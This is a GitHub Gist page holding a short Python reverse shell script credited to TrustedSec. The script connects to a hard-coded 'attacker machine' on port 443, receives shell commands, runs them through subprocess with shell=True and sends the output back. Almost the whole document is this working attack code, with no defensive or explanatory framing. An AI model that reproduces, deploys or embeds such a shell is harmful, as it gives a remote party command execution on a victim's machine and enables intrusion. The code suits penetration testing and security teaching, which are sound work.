-
-
Save relotnek/f886b5a5e53a2bf5afcdfef2f3270863 to your computer and use it in GitHub Desktop.
Simple Python Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# imports here | |
# Copyright 2012 TrustedSec, LLC. All rights reserved. | |
# | |
# This piece of software code is licensed under the FreeBSD license.. | |
# | |
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information. | |
import socket,subprocess | |
HOST = '192.168.12.45' # The remote host | |
PORT = 443 # The same port as used by the server | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
# connect to attacker machine | |
s.connect((HOST, PORT)) | |
# send we are connected | |
s.send('[*] Connection Established!') | |
# start loop | |
while 1: | |
# recieve shell command | |
data = s.recv(1024) | |
# if its quit, then break out and close socket | |
if data == "quit": break | |
# do shell command | |
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) | |
# read output | |
stdout_value = proc.stdout.read() + proc.stderr.read() | |
# send output to attacker | |
s.send(stdout_value) | |
# close socket | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment